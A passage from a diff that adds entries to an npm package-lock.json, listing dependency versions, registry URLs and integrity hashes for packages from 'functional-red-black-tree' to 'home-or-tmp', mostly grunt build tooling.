"sha512-yIovAzMX49sF8Yl58fSCWJ5svSLuaibPxXQJFLmBObTuCr0Mf1KiPopGM9NiFjiYBCbfaa2Fh6breQ6ANVTI0A==" + }, + "functional-red-black-tree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz", + "integrity": "sha1-GwqzvVU7Kg1jmdKcDj6gslIHgyc=", + "dev": true + }, + "gauge": { + "version": "2.7.4", + "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz", + "integrity": "sha1-LANAXHU4w51+s3sxcCLjJfsBi/c=", + "dev": true, + "requires": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "gaze": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz", + "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==", + "dev": true, + "requires": { + "globule": "^1.0.0" + } + }, + "gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "peer": true + }, + "get-assigned-identifiers": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/get-assigned-identifiers/-/get-assigned-identifiers-1.2.0.tgz", + "integrity": "sha512-mBBwmeGTrxEMO4pMaaf/uUEFHnYtwr8FTe8Y/mer4rcV/bye0qGm6pw1bGZFGStxC5O76c5ZAVBGnqHmOaJpdQ==", + "dev": true + }, + "get-caller-file": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-1.0.2.tgz", + "integrity": "sha1-9wLmMSfn4jHBYKgMFVSstw1QR+U=", + "dev": true + }, + "get-stdin": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz", + "integrity": "sha1-uWjGsKBDhDJJAui/Gl3zJXmkUP4=", + "dev": true + }, + "get-stream": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz", + "integrity": "sha1-jpQ9E1jcN1VQVOy+LtsFqhdO3hQ=", + "dev": true + }, + "get-value": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz", + "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=" + }, + "getobject": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/getobject/-/getobject-0.1.0.tgz", + "integrity": "sha1-BHpEl4n6Fg0Bj1SG7ZEyC27HiFw=", + "dev": true + }, + "getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha1-Xv+OPmhNVprkyysSgmBOi6YhSfo=", + "dev": true, + "requires": { + "assert-plus": "^1.0.0" + } + }, + "gettext-parser": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/gettext-parser/-/gettext-parser-1.4.0.tgz", + "integrity": "sha512-sedZYLHlHeBop/gZ1jdg59hlUEcpcZJofLq2JFwJT1zTqAU3l2wFv6IsuwFHGqbiT9DWzMUW4/em2+hspnmMMA==", + "dev": true, + "requires": { + "encoding": "^0.1.12", + "safe-buffer": "^5.1.1" + } + }, + "gherkin": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/gherkin/-/gherkin-5.1.0.tgz", + "integrity": "sha1-aEu7A63STq9731RPWAM+so+zxtU=", + "dev": true + }, + "github-from-package": { + "version": "0.0.0", + "resolved": "https://registry.npmjs.org/github-from-package/-/github-from-package-0.0.0.tgz", + "integrity": "sha1-l/tdlr/eiXMxPyDoKI75oWf6ZM4=", + "dev": true, + "optional": true + }, + "glob": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.0.6.tgz", + "integrity": "sha1-IRuvr0nlJbjNkyYNFKsTYVKz9Xo=", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.2", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "glob-base": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/glob-base/-/glob-base-0.3.0.tgz", + "integrity": "sha1-27Fk9iIbHAscz4Kuoyi0l98Oo8Q=", + "dev": true, + "requires": { + "glob-parent": "^2.0.0", + "is-glob": "^2.0.0" + } + }, + "glob-parent": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz", + "integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=", + "dev": true, + "requires": { + "is-glob": "^2.0.0" + } + }, + "globals": { + "version": "9.18.0", + "resolved": "https://registry.npmjs.org/globals/-/globals-9.18.0.tgz", + "integrity": "sha1-qjiWs+abSH8X4x7SFD1pqOMMLYo=" + }, + "globby": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/globby/-/globby-5.0.0.tgz", + "integrity": "sha1-69hGZ8oNuzMLmbz8aOrCvFQ3Dg0=", + "dev": true, + "requires": { + "array-union": "^1.0.1", + "arrify": "^1.0.0", + "glob": "^7.0.3", + "object-assign": "^4.0.1", + "pify": "^2.0.0", + "pinkie-promise": "^2.0.0" + }, + "dependencies": { + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "globule": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/globule/-/globule-1.2.1.tgz", + "integrity": "sha512-g7QtgWF4uYSL5/dn71WxubOrS7JVGCnFPEnoeChJmBnyR9Mw8nGoEwOgJL/RC2Te0WhbsEUCejfH8SZNJ+adYQ==", + "dev": true, + "requires": { + "glob": "~7.1.1", + "lodash": "~4.17.10", + "minimatch": "~3.0.2" + }, + "dependencies": { + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "graceful-fs": { + "version": "4.2.10", + "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.10.tgz", + "integrity": "sha512-9ByhssR2fPVsNZj478qUUbKfmL0+t5BDVyjShtyZZLiK7ZDAArFFfopyOTj0M05wE2tJPisA4iTnnXl2YoPvOA==" + }, + "grapheme-splitter": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/grapheme-splitter/-/grapheme-splitter-1.0.4.tgz", + "integrity": "sha512-bzh50DW9kTPM00T8y4o8vQg89Di9oLJVLW/KaOGIXJWP/iqCN6WKYkbNOF04vFLJhwcpYUh9ydh/+5vpOqV4YQ==", + "dev": true + }, + "growl": { + "version": "1.10.5", + "resolved": "https://registry.npmjs.org/growl/-/growl-1.10.5.tgz", + "integrity": "sha512-qBr4OuELkhPenW6goKVXiv47US3clb3/IbuWF9KNKEijAy9oeHxU9IgzjvJhHkUzhaj7rOUD7+YGWqUjLp5oSA==", + "dev": true + }, + "grunt": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/grunt/-/grunt-1.0.3.tgz", + "integrity": "sha512-/JzmZNPfKorlCrrmxWqQO4JVodO+DVd5XX4DkocL/1WlLlKVLE9+SdEIempOAxDhWPysLle6afvn/hg7Ck2k9g==", + "dev": true, + "requires": { + "coffeescript": "~1.10.0", + "dateformat": "~1.0.12", + "eventemitter2": "~0.4.13", + "exit": "~0.1.1", + "findup-sync": "~0.3.0", + "glob": "~7.0.0", + "grunt-cli": "~1.2.0", + "grunt-known-options": "~1.1.0", + "grunt-legacy-log": "~2.0.0", + "grunt-legacy-util": "~1.1.1", + "iconv-lite": "~0.4.13", + "js-yaml": "~3.5.2", + "minimatch": "~3.0.2", + "mkdirp": "~0.5.1", + "nopt": "~3.0.6", + "path-is-absolute": "~1.0.0", + "rimraf": "~2.6.2" + }, + "dependencies": { + "coffeescript": { + "version": "1.10.0", + "resolved": "https://registry.npmjs.org/coffeescript/-/coffeescript-1.10.0.tgz", + "integrity": "sha1-56qDAZF+9iGzXYo580jc3R234z4=", + "dev": true + }, + "grunt-cli": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/grunt-cli/-/grunt-cli-1.2.0.tgz", + "integrity": "sha1-VisRnrsGndtGSs4oRVAb6Xs1tqg=", + "dev": true, + "requires": { + "findup-sync": "~0.3.0", + "grunt-known-options": "~1.1.0", + "nopt": "~3.0.6", + "resolve": "~1.1.0" + } + }, + "js-yaml": { + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.5.5.tgz", + "integrity": "sha1-A3fDgBfKvHMisNH7zSWkkWQfL74=", + "dev": true, + "requires": { + "argparse": "^1.0.2", + "esprima": "^2.6.0" + } + }, + "resolve": { + "version": "1.1.7", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.1.7.tgz", + "integrity": "sha1-IDEU2CrSxe2ejgQRs5ModeiJ6Xs=", + "dev": true + } + } + }, + "grunt-browserify": { + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/grunt-browserify/-/grunt-browserify-5.3.0.tgz", + "integrity": "sha1-R/2M+LrFj+LeaDr9xX9/OoDKeS0=", + "dev": true, + "requires": { + "async": "^2.5.0", + "browserify": "^16.0.0", + "browserify-incremental": "^3.1.1", + "glob": "^7.1.2", + "lodash": "^4.17.4", + "resolve": "^1.1.6", + "watchify": "^3.6.1" + }, + "dependencies": { + "async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "requires": { + "lodash": "^4.17.10" + } + }, + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, + "grunt-contrib-clean": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-clean/-/grunt-contrib-clean-1.1.0.tgz", + "integrity": "sha1-Vkq/LQN4qYOhW54/MO51tzjEBjg=", + "dev": true, + "requires": { + "async": "^1.5.2", + "rimraf": "^2.5.1" + } + }, + "grunt-contrib-compress": { + "version": "1.4.3", + "resolved": "https://registry.npmjs.org/grunt-contrib-compress/-/grunt-contrib-compress-1.4.3.tgz", + "integrity": "sha1-Ac7/ucY39S5wgfRjdQmD0KOw+nM=", + "dev": true, + "requires": { + "archiver": "^1.3.0", + "chalk": "^1.1.1", + "iltorb": "^1.0.13", + "lodash": "^4.7.0", + "pretty-bytes": "^4.0.2", + "stream-buffers": "^2.1.0" + }, + "dependencies": { + "archiver": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/archiver/-/archiver-1.3.0.tgz", + "integrity": "sha1-TyGU1tj5nfP1MeaIHxTxXVX6ryI=", + "dev": true, + "requires": { + "archiver-utils": "^1.3.0", + "async": "^2.0.0", + "buffer-crc32": "^0.2.1", + "glob": "^7.0.0", + "lodash": "^4.8.0", + "readable-stream": "^2.0.0", + "tar-stream": "^1.5.0", + "walkdir": "^0.0.11", + "zip-stream": "^1.1.0" + } + }, + "async": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.0.tgz", + "integrity": "sha512-xAfGg1/NTLBBKlHFmnd7PlmUW9KhVQIUuSrYem9xzFUZy13ScvtyGGejaae9iAVRiRq9+Cx7DPFaAAhCpyxyPw==", + "dev": true, + "requires": { + "lodash": "^4.14.0" + } + }, + "glob": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.2.tgz", + "integrity": "sha512-MJTUg1kjuLeQCJ+ccE4Vpa6kKVXkPYJ2mOCQyUuKLcLQsdrMCpBPUi8qVE6+YuaJkozeA9NusTAw3hLr8Xe5EQ==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.0.4", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + }, + "zip-stream": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/zip-stream/-/zip-stream-1.2.0.tgz", + "integrity": "sha1-qLxF9MG0lpnGuQGYuqyqzbzUugQ=", + "dev": true, + "requires": { + "archiver-utils": "^1.3.0", + "compress-commons": "^1.2.0", + "lodash": "^4.8.0", + "readable-stream": "^2.0.0" + } + } + } + }, + "grunt-contrib-concat": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/grunt-contrib-concat/-/grunt-contrib-concat-1.0.1.tgz", + "integrity": "sha1-YVCYYwhOhx1+ht5IwBUlntl3Rb0=", + "dev": true, + "requires": { + "chalk": "^1.0.0", + "source-map": "^0.5.3" + } + }, + "grunt-contrib-copy": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-copy/-/grunt-contrib-copy-1.0.0.tgz", + "integrity": "sha1-cGDGWB6QS4qw0A8HbgqPbj58NXM=", + "dev": true, + "requires": { + "chalk": "^1.1.1", + "file-sync-cmp": "^0.1.0" + } + }, + "grunt-contrib-jshint": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-jshint/-/grunt-contrib-jshint-1.1.0.tgz", + "integrity": "sha1-Np2QmyWTxA6L55lAshNAhQx5Oaw=", + "dev": true, + "requires": { + "chalk": "^1.1.1", + "hooker": "^0.2.3", + "jshint": "~2.9.4" + }, + "dependencies": { + "jshint": { + "version": "2.9.5", + "resolved": "https://registry.npmjs.org/jshint/-/jshint-2.9.5.tgz", + "integrity": "sha1-HnJSkVzmgbQIJ+4UJIxG006apiw=", + "dev": true, + "requires": { + "cli": "~1.0.0", + "console-browserify": "1.1.x", + "exit": "0.1.x", + "htmlparser2": "3.8.x", + "lodash": "3.7.x", + "minimatch": "~3.0.2", + "shelljs": "0.3.x", + "strip-json-comments": "1.0.x" + } + }, + "lodash": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-3.7.0.tgz", + "integrity": "sha1-Nni9irmVBXwHreg27S7wh9qBHUU=", + "dev": true + }, + "strip-json-comments": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-1.0.4.tgz", + "integrity": "sha1-HhX7ysl9Pumb8tc7TGVrCCu6+5E=", + "dev": true + } + } + }, + "grunt-contrib-less": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-less/-/grunt-contrib-less-2.0.0.tgz", + "integrity": "sha512-nsaODoEMjVn61OuqPaFeFQpb4Qd/EbfxQDeYnh2oONXm8L5Gnuchtv59kl0V3hjiFdOkZlPILDc3ZrkoZI0PNw==", + "dev": true, + "requires": { + "async": "^2.0.0", + "chalk": "^1.0.0", + "less": "^3.0.4", + "lodash": "^4.17.10" + }, + "dependencies": { + "async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "requires": { + "lodash": "^4.17.10" + } + } + } + }, + "grunt-contrib-watch": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/grunt-contrib-watch/-/grunt-contrib-watch-1.1.0.tgz", + "integrity": "sha512-yGweN+0DW5yM+oo58fRu/XIRrPcn3r4tQx+nL7eMRwjpvk+rQY6R8o94BPK0i2UhTg9FN21hS+m8vR8v9vXfeg==", + "dev": true, + "requires": { + "async": "^2.6.0", + "gaze": "^1.1.0", + "lodash": "^4.17.10", + "tiny-lr": "^1.1.1" + }, + "dependencies": { + "async": { + "version": "2.6.1", + "resolved": "https://registry.npmjs.org/async/-/async-2.6.1.tgz", + "integrity": "sha512-fNEiL2+AZt6AlAw/29Cr0UDe4sRAHCpEHh54WMz+Bb7QfNcFw4h3loofyJpLeQs4Yx7yuqu/2dLgM5hKOs6HlQ==", + "dev": true, + "requires": { + "lodash": "^4.17.10" + } + } + } + }, + "grunt-known-options": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/grunt-known-options/-/grunt-known-options-1.1.0.tgz", + "integrity": "sha1-pCdO6zL6dl2lp6OxcSYXzjsUQUk=", + "dev": true + }, + "grunt-legacy-log": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/grunt-legacy-log/-/grunt-legacy-log-2.0.0.tgz", + "integrity": "sha512-1m3+5QvDYfR1ltr8hjiaiNjddxGdQWcH0rw1iKKiQnF0+xtgTazirSTGu68RchPyh1OBng1bBUjLmX8q9NpoCw==", + "dev": true, + "requires": { + "colors": "~1.1.2", + "grunt-legacy-log-utils": "~2.0.0", + "hooker": "~0.2.3", + "lodash": "~4.17.5" + } + }, + "grunt-legacy-log-utils": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/grunt-legacy-log-utils/-/grunt-legacy-log-utils-2.0.1.tgz", + "integrity": "sha512-o7uHyO/J+i2tXG8r2bZNlVk20vlIFJ9IEYyHMCQGfWYru8Jv3wTqKZzvV30YW9rWEjq0eP3cflQ1qWojIe9VFA==", + "dev": true, + "requires": { + "chalk": "~2.4.1", + "lodash": "~4.17.10" + }, + "dependencies": { + "ansi-styles": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", + "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", + "dev": true, + "requires": { + "color-convert": "^1.9.0" + } + }, + "chalk": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", + "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", + "dev": true, + "requires": { + "ansi-styles": "^3.2.1", + "escape-string-regexp": "^1.0.5", + "supports-color": "^5.3.0" + } + }, + "color-convert": { + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", + "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", + "dev": true, + "requires": { + "color-name": "1.1.1" + } + }, + "color-name": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", + "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", + "dev": true + }, + "has-flag": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", + "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", + "dev": true + }, + "supports-color": { + "version": "5.4.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", + "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", + "dev": true, + "requires": { + "has-flag": "^3.0.0" + } + } + } + }, + "grunt-legacy-util": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/grunt-legacy-util/-/grunt-legacy-util-1.1.1.tgz", + "integrity": "sha512-9zyA29w/fBe6BIfjGENndwoe1Uy31BIXxTH3s8mga0Z5Bz2Sp4UCjkeyv2tI449ymkx3x26B+46FV4fXEddl5A==", + "dev": true, + "requires": { + "async": "~1.5.2", + "exit": "~0.1.1", + "getobject": "~0.1.0", + "hooker": "~0.2.3", + "lodash": "~4.17.10", + "underscore.string": "~3.3.4", + "which": "~1.3.0" + } + }, + "grunt-run": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/grunt-run/-/grunt-run-0.8.1.tgz", + "integrity": "sha512-+wvoOJevugcjMLldbVCyspRHHntwVIJiTGjx0HFq+UwXhVPe7AaAiUdY4135CS68pAoRLhd7pAILpL2ITe1tmA==", + "dev": true, + "requires": { + "strip-ansi": "^3.0.0" + } + }, + "grunt-ssh": { + "version": "0.12.9", + "resolved": "https://registry.npmjs.org/grunt-ssh/-/grunt-ssh-0.12.9.tgz", + "integrity": "sha1-IVUaNzmB8Ooo3HmdOKdp5UzU2QQ=", + "dev": true, + "requires": { + "async": ">=1.0.0", + "progress": "~1.1.3", + "ssh2": "~0.4.6" + } + }, + "grunt-text-replace": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/grunt-text-replace/-/grunt-text-replace-0.4.0.tgz", + "integrity": "sha1-252c5Z4v5J2id+nbwZXD4Rz7FsI=", + "dev": true + }, + "grunt-wp-i18n": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/grunt-wp-i18n/-/grunt-wp-i18n-1.0.2.tgz", + "integrity": "sha512-s7DdR1wRYWvgeQOELL/s8AmWz0scVUq+h0yYVWvLx23kTXOBslvaD35NTvubyM+MO+k29bgND0gDDvS6sHixfg==", + "dev": true, + "requires": { + "grunt": "^1.0.2", + "node-wp-i18n": "^1.0.5" + } + }, + "har-schema": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", + "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=", + "dev": true + }, + "har-validator": { + "version": "5.0.3", + "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.0.3.tgz", + "integrity": "sha1-ukAsJmGU8VlW7xXg/PJCmT9qff0=", + "dev": true, + "requires": { + "ajv": "^5.1.0", + "har-schema": "^2.0.0" + } + }, + "has": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/has/-/has-1.0.3.tgz", + "integrity": "sha512-f2dvO0VU6Oej7RkWJGrehjbzMAjFp5/VKPp5tTpWIV4JHHZK1/BxbFRtf/siA2SWTe09caDmVtYYzWEIbBS4zw==", + "requires": { + "function-bind": "^1.1.1" + } + }, + "has-ansi": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/has-ansi/-/has-ansi-2.0.0.tgz", + "integrity": "sha1-NPUEnOHs3ysGSa8+8k5F7TVBbZE=", + "requires": { + "ansi-regex": "^2.0.0" + } + }, + "has-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-1.0.0.tgz", + "integrity": "sha1-nZ55MWXOAXoA8AQYxD+UKnsdEfo=", + "dev": true + }, + "has-symbols": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/has-symbols/-/has-symbols-1.0.1.tgz", + "integrity": "sha512-PLcsoqu++dmEIZB+6totNFKq/7Do+Z0u4oT0zKOJNl3lYK6vGwwu2hjHs+68OEZbTjiUE9bgOABXbP/GvrS0Kg==" + }, + "has-unicode": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz", + "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk=", + "dev": true + }, + "has-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz", + "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=", + "requires": { + "get-value": "^2.0.6", + "has-values": "^1.0.0", + "isobject": "^3.0.0" + }, + "dependencies": { + "isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha1-TkMekrEalzFjaqH5yNHMvP2reN8=" + } + } + }, + "has-values": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz", + "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=", + "requires": { + "is-number": "^3.0.0", + "kind-of": "^4.0.0" + }, + "dependencies": { + "is-number": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz", + "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=", + "requires": { + "kind-of": "^3.0.2" + }, + "dependencies": { + "kind-of": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz", + "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=", + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "kind-of": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz", + "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=", + "requires": { + "is-buffer": "^1.1.5" + } + } + } + }, + "hash-base": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/hash-base/-/hash-base-2.0.2.tgz", + "integrity": "sha1-ZuodhW206KVHDK32/OI65SRO8uE=", + "dev": true, + "requires": { + "inherits": "^2.0.1" + } + }, + "hash-sum": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/hash-sum/-/hash-sum-1.0.2.tgz", + "integrity": "sha1-M7QHd3VMZDJXPBIMw4CLvRDUfwQ=", + "dev": true + }, + "hash.js": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/hash.js/-/hash.js-1.1.1.tgz", + "integrity": "sha512-I2TYCUjYQMmqmRMCp6jKMC5bvdXxGIZ/heITRR/0F1u0OP920ImEj/cXt3WgcTKBnNYGn7enxUzdai3db829JA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "minimalistic-assert": "^1.0.0" + } + }, + "he": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true + }, + "hermes-estree": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/hermes-estree/-/hermes-estree-0.8.0.tgz", + "integrity": "sha512-W6JDAOLZ5pMPMjEiQGLCXSSV7pIBEgRR5zGkxgmzGSXHOxqV5dC/M1Zevqpbm9TZDE5tu358qZf8Vkzmsc+u7Q==", + "peer": true + }, + "hermes-parser": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/hermes-parser/-/hermes-parser-0.8.0.tgz", + "integrity": "sha512-yZKalg1fTYG5eOiToLUaw69rQfZq/fi+/NtEXRU7N87K/XobNRhRWorh80oSge2lWUiZfTgUvRJH+XgZWrhoqA==", + "peer": true, + "requires": { + "hermes-estree": "0.8.0" + } + }, + "hermes-profile-transformer": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/hermes-profile-transformer/-/hermes-profile-transformer-0.0.6.tgz", + "integrity": "sha512-cnN7bQUm65UWOy6cbGcCcZ3rpwW8Q/j4OP5aWRhEry4Z2t2aR1cjrbp0BS+KiBN0smvP1caBgAuxutvyvJILzQ==", + "peer": true, + "requires": { + "source-map": "^0.7.3" + }, + "dependencies": { + "source-map": { + "version": "0.7.4", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz", + "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA==", + "peer": true + } + } + }, + "hex-color-regex": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/hex-color-regex/-/hex-color-regex-1.1.0.tgz", + "integrity": "sha512-l9sfDFsuqtOqKDsQdqrMRk0U85RZc0RtOR9yPI7mRVOa4FsR/BVnZ0shmQRM96Ji99kYZP/7hn1cedc1+ApsTQ==", + "dev": true + }, + "hmac-drbg": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/hmac-drbg/-/hmac-drbg-1.0.1.tgz", + "integrity": "sha1-0nRXAQJabHdabFRXk+1QL8DGSaE=", + "dev": true, + "requires": { + "hash.js": "^1.0.3", + "minimalistic-assert": "^1.0.0", + "minimalistic-crypto-utils": "^1.0.1" + } + }, + "home-or-tmp": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/home-or-tmp/-/home-or-tmp-2.0.0.tgz", 